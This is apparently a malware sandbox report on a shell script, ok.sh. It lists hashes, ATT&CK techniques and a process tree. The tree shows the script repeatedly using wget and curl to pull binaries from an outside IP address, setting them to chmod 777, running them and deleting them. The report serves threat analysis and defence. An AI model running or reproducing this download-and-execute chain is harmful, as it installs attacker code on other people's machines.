5752ae9a94cebf686664cdbf5cb88f7c53a1cd70947934a0958992bd98b532f4

Analysis

max time kernel
9s
max time network
11s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/08/2026, 03:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260822-ect5pa1arf
SHA256 5752ae9a94cebf686664cdbf5cb88f7c53a1cd70947934a0958992bd98b532f4
MD5 3761316e5a30054562791e1886ad06ed
SHA1 89f66aed54054b19404a68fc65004601d339fac6
SHA512 fe63b32560290891caf90fecc2f357e195873009af80e4867c7e348be68cd5c243f3d8dd34b590d763c2cc6af223eae4248f5b8fd4e7cf9d85a194d9ebc9ca49
TLSH
T1763141DE00941A700262CE8EB3A7314CA68DB2F7385FDBD4AD581DA993486ACF251F5D
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
674	chmod
758	chmod
777	chmod
784	chmod
791	chmod
798	chmod
805	chmod
812	chmod
681	chmod
733	chmod
819	chmod
826	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/20c791	675	ok.sh
/tmp/2be985	682	ok.sh
/tmp/20fbae	734	ok.sh
/tmp/c5d83d	759	ok.sh
/tmp/233bc5	778	ok.sh
/tmp/0ab716	785	ok.sh
/tmp/5bf116	792	ok.sh
/tmp/dd08c4	799	ok.sh
/tmp/766551	806	ok.sh
/tmp/67dfb1	813	ok.sh
/tmp/9f0d8c	820	ok.sh
/tmp/69e5eb	827	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/2be985	curl
File opened for modification	/tmp/20fbae	curl
File opened for modification	/tmp/c5d83d	curl
File opened for modification	/tmp/0ab716	curl
File opened for modification	/tmp/5bf116	curl
File opened for modification	/tmp/766551	curl
File opened for modification	/tmp/20c791	curl
File opened for modification	/tmp/233bc5	curl
File opened for modification	/tmp/dd08c4	curl
File opened for modification	/tmp/67dfb1	curl
File opened for modification	/tmp/9f0d8c	curl
File opened for modification	/tmp/69e5eb	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:643
- /usr/bin/wget
  wget http://5.182.210.174/20c791
  2⤵
  PID:649
- /usr/bin/curl
  curl -O http://5.182.210.174/20c791
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:671
- /bin/chmod
  chmod 777 20c791
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /tmp/20c791
  ./20c791 bc
  2⤵
  PID:675
- /bin/rm
  rm -rf 20c791
  2⤵
  PID:677
- /bin/rm
  rm -rf 20c791.1
  2⤵
  PID:678
- /usr/bin/wget
  wget http://5.182.210.174/2be985
  2⤵
  PID:679
- /usr/bin/curl
  curl -O http://5.182.210.174/2be985
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod 777 2be985
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/2be985
  ./2be985 bc
  2⤵
  PID:682
- /bin/rm
  rm -rf 2be985
  2⤵
  PID:684
- /bin/rm
  rm -rf 2be985.1
  2⤵
  PID:685
- /usr/bin/wget
  wget http://5.182.210.174/20fbae
  2⤵
  PID:686
- /usr/bin/curl
  curl -O http://5.182.210.174/20fbae
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod 777 20fbae
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/20fbae
  ./20fbae bc
  2⤵
  PID:734
- /bin/rm
  rm -rf 20fbae
  2⤵
  PID:736
- /bin/rm
  rm -rf 20fbae.1
  2⤵
  PID:737
- /usr/bin/wget
  wget http://5.182.210.174/c5d83d
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://5.182.210.174/c5d83d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 c5d83d
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/c5d83d
  ./c5d83d bc
  2⤵
  PID:759
- /bin/rm
  rm -rf c5d83d
  2⤵
  PID:762
- /bin/rm
  rm -rf c5d83d.1
  2⤵
  PID:764
- /usr/bin/wget
  wget http://5.182.210.174/233bc5
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://5.182.210.174/233bc5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod 777 233bc5
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/233bc5
  ./233bc5 bc
  2⤵
  PID:778
- /bin/rm
  rm -rf 233bc5
  2⤵
  PID:780
- /bin/rm
  rm -rf 233bc5.1
  2⤵
  PID:781
- /usr/bin/wget
  wget http://5.182.210.174/0ab716
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://5.182.210.174/0ab716
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod 777 0ab716
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/0ab716
  ./0ab716 bc
  2⤵
  PID:785
- /bin/rm
  rm -rf 0ab716
  2⤵
  PID:787
- /bin/rm
  rm -rf 0ab716.1
  2⤵
  PID:788
- /usr/bin/wget
  wget http://5.182.210.174/5bf116
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://5.182.210.174/5bf116
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 5bf116
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/5bf116
  ./5bf116 bc
  2⤵
  PID:792
- /bin/rm
  rm -rf 5bf116
  2⤵
  PID:794
- /bin/rm
  rm -rf 5bf116.1
  2⤵
  PID:795
- /usr/bin/wget
  wget http://5.182.210.174/dd08c4
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://5.182.210.174/dd08c4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 dd08c4
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/dd08c4
  ./dd08c4 bc
  2⤵
  PID:799
- /bin/rm
  rm -rf dd08c4
  2⤵
  PID:801
- /bin/rm
  rm -rf dd08c4.1
  2⤵
  PID:802
- /usr/bin/wget
  wget http://5.182.210.174/766551
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://5.182.210.174/766551
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 766551
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/766551
  ./766551 bc
  2⤵
  PID:806
- /bin/rm
  rm -rf 766551
  2⤵
  PID:808
- /bin/rm
  rm -rf 766551.1
  2⤵
  PID:809
- /usr/bin/wget
  wget http://5.182.210.174/67dfb1
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://5.182.210.174/67dfb1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 67dfb1
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/67dfb1
  ./67dfb1 bc
  2⤵
  PID:813
- /bin/rm
  rm -rf 67dfb1
  2⤵
  PID:815
- /bin/rm
  rm -rf 67dfb1.1
  2⤵
  PID:816
- /usr/bin/wget
  wget http://5.182.210.174/9f0d8c
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://5.182.210.174/9f0d8c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 9f0d8c
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/9f0d8c
  ./9f0d8c bc
  2⤵
  PID:820
- /bin/rm
  rm -rf 9f0d8c
  2⤵
  PID:822
- /bin/rm
  rm -rf 9f0d8c.1
  2⤵
  PID:823
- /usr/bin/wget
  wget http://5.182.210.174/69e5eb
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://5.182.210.174/69e5eb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 69e5eb
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/69e5eb
  ./69e5eb bc
  2⤵
  PID:827
- /bin/rm
  rm -rf 69e5eb
  2⤵
  PID:829
- /bin/rm
  rm -rf 69e5eb.1
  2⤵
  PID:830

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

20c791

Path /tmp/20c791
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads